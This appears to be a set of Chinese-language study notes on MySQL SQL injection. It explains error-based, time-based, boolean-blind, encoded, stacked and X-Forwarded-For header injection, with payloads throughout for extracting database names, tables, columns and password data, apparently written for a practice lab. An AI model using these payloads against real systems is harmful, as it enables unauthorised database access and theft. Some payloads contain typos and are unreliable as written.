查询方式
select * from 表名 where 条件
delete from 表名 where 条件
update 表名 set 字段=’值‘ where 条件
insert into 表名 (字段名,字段名,...) values(’‘,’‘,....)
报错回显(强制报错)
extractvalue用法
-------------------------------------------------------------
第一步判断xpath字符格式,后面加上'看看是否报错
第二步order by判断几个回显点
第三步利用union和语法格式强制报错
第二个参数应该是xpath字符格式,用select语法强制报错,获得版本号。concat字符拼接,0x7e-->波浪号
--------------------------
‘or updatexml(1,concat(0x7e,database(),0)or'%23 %23--># 注释后面的内容
第一个单引号和前面的闭合,第二个单引号和后面的闭合
-----------------------------
1.查看数据库版本:
1 and extractvalue(1,concat(0x7e,(select version()),0x7e)) #
2.查看数据库名字:
1 and extractvalue(1,concat(0x7e,(select database()),0x7e)) #
3.查看数据库中有多少个表:
1 and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database()),0x7e)) #
4.查看数据库有哪些表:
1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) #
5.查看表里面有哪些列名:
1 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name= 'table_name' limit 0,1),0x7e)) #
6.查看表里面的数据:
1 and extractvalue(1,concat(0x7e,(select group_concat(列名) from 数据库名.表名),0x7e)) #
floor报错
根据有语法错误获取信息
原理:
select floor(rand(0)*2)x,count(*)from 表名 group by x
虚拟表中第一个key值添加时,虚拟表内没有这个key值 , rand(0)同时执行,所以添加的是第二个key值1(0),在添加第二个值,会拿着第三个值key=1的时候会报错 和key值1(因为数字是0,rand执行后变成的0)报错主键冲突
类似于进电影院 1和2,1验完票后被换成2的座位,2再进去的时候座位已经被占用,发生冲突
x为别名 floor(rand(0)*2)用x表示->group by x= group by floor(rand(0)*2)
报错需要满足的条件:
floor()报错注入在MySQL版本8.0 已失效,8.0以下使用
注入语句中查询用到的表内数据必须>=3条
需要用到的count(*)、floor()或者ceil()、rand()、group by
rand() :随机数 范围0-1
rand(0) : 0为种子值 ->伪随机数,结果变为一个固定的值
rand(0)*2 :rand(0)的值再乘以2
floor():向下取整
select floor (rand(0)*2) from表名 -->表内有几条数据就会有几个随机数
count():计数
select count(*) from 表名
group by:分组
select 字段名 from 表名 group by 字段名
一样的用一个表示 合成一个组
mysql遇到该语句时会建立一个虛拟表(实际上就是会建立虚拟表),那整个工作流程就会如下图所示先建立虚拟表,key是主键,不可重复
如果在key中查询遇到相同的数据,则不会进行数据的插入,会对count加1操作!
延时注入
用于,无法回现和无法显示错误页面的场景
if(条件,a,b) 条件成立执行a,否则执行b。
sleep()
注入思路
1,判断是否存在注入点,注入点是字符型还是数值型
?id=1' and sleep(5)--+ //正常休眠
?id=1" and sleep(5)--+ //无休眠
?id=1') and sleep(5)--+ //无休眠
?id=1") and sleep(5)--+ //无休眠
总结:由此可以判断注入点为数值型注入点 包裹符号为'号
2,构建sleep延时注入语句,猜测当前数据库的库名的长度是几个字符
?id=1' and if(length(database())=8,sleep(10),1)--+
ps:通过改变数据库的长度的值来判断,是数据库名
如:length(database())=N
3,猜测数据库下的表名的长度是由多少个字符组成的
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(10))--+
ps:通过判断服务器没有睡眠,ascii码转换115为s ,那么就得出数据库第一个字符为s,
substr(database(),N,1)可以通过改变N的值来判断数据的第几个字符是什么
4,猜测字段名(列名)
?id=1' and if((select ascii(substr((select table_name from information_schema.tables
where table_schema="security"limit 0,1),1,1)))=101,sleep(5),1)--+
解释:security的第一张表的第一个字符ascii为101,为字符e
limit 0,1),N,1还是改变N的值得出第二个字符
5,猜测数据
猜字段语句:
?id=1' and if((select ascii(substr((select column_name from information_schema.columns
where table_name="表名"limit 0,1),N,1)))=101,0,sleep(5))--+
猜数据:
and if((select ascii(substr((select 字段名 from 库名.表名 limit 0,1),N,1)))=101,0,sleep(5))
布尔注入
当存在SQL注入时,攻击者无法通过页面或请求的返回信息,回显或获取到SQL注入语句的执行结果,这种情况就叫盲注。
布尔型盲注就是利用返回的True或False来判断注入语句是否执行成功。它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
什么情况下考虑使用布尔盲注?
1. 该输入框存在注入点。
2. 该页面或请求不会回显注入语句执行结果,故无法使用UNION注入。
3. 对数据库报错进行了处理,无论用户怎么输入都不会显示报错信息,故无法使用报错注入。
常用函数
length(str)函数 返回字符串的长度
substr(str,poc,len)截取字符串,poc表示截取字符串的开始位,len表示截取字符串的长度
ascii()返回字符的ascii码,返回该字符对应的ascii码
count():返回当前列的数量
case when (条件) then 代码1 else 代码2 end :条件成立,则执行代码1,否则执行代码2
函数替换
如果程序过滤了substr函数,可以用其他函数代替:效果与substr()一样
left(str,index)从左边第index开始截取
right(str,index)从右边第index开始截取
substring(str,index)从左边index开始截取
mid(str,index,len)截取str从index开始,截取len的长度
lpad(str,len,padstr)
rpad(str,len,padstr)在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果
------------------------------------------------------------
①判断数据库名的长度:and length(database())>11 回显正常;and length(database())>12 回显错误,说明数据库名是等于12个字符。
②猜测数据库名(使用ascii码来依次判断):1%27%20and%20ascii(mid(database(),1,1))=115--+通过不断测试,确定ascii值,查看asciii表可以得出该字符,通过改变database()后面第一个数字,可以往后继续猜测第二个、第三个字母…
③猜测表名:and (ascii(substr((select table_name from information_schema.tables where table.schema=database() limit 1,1)1,1)>144 --+ 往后继续猜测第二个、第三个字母…
④猜测字段名(列名):and (ascii(substr((select column_name from information_schema.columns where table.schema=database() and table_name=’数据库表名’ limit 0,1)1,1)>105 --+ 经过猜测 ascii为 105 为i 也就是表的第一个列名 id的第一个字母;同样,通过修改 limit 0,1 获取第二个列名 修改后面1,1的获取当前列的其他字段.
⑤猜测字段内容:因为知道了列名,所以直接 select password from users 就可以获取password里面的内容,username也一样 and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+
0-127 用mid函数 mid(,,)第一个参数为提取的字符,第二个参数为起始位置(默认为1),第三个参数为要返回的字符数
1)和64比较> ascii(mid(database()),1,1)>64 #mid(database()),1,1为数据库名的第一个字符 2,1则为第二个字符
2)如果为true则取64和128的中间值,再进行二分法。如果为false则在0和64的中间值,再进行二分法
加解密注入
SQL加解密注入,是特指一种特殊的注入形式,即注入点并没有直接把输入的信息传输到后台,而是通过进行base64编码等形式处理后,再传输到后台。
和Cookie注入一样,就是把原字符进行加密。
只需找出编码方式,对我们查询的语句进行相同格式的编码方式进行编码->得出想要的数据
YWRtaW4nKWFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQgKDB4N2UsIGRhdGFiYXNlKCkpKSM=
堆叠注入(支持mysql)
第一个'前面的单引号闭合,分号结束这条select语句
union查询:段数量要一致 ,查询的结果的前后互不干扰
堆叠注入:可以是任意语句
Json注入
用hackbar插件
XFF注入
XFF,是X-Forwarded-for的缩写,X-Forwarded-For 是一个 HTTP 扩展头部。,用来表示 HTTP 请求端真实 IP,XFF注入是SQL注入的一种,该注入原理是通过修改X-Forwarded-for头对带入系统的dns进行sql注入,从而得到网站的数据库内容。
1.防止登录次数 根据IP地址
2.防止异地登陆 根据IP地址
用burp拦截数据,发给重发器,查看有没有参数X-Forwarded-For
没有则加上 ,用报错注入获取数据
X-Forwarded-For:127.0.0.1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables
where table_schema='security' limit 0,1),0x7e),1))#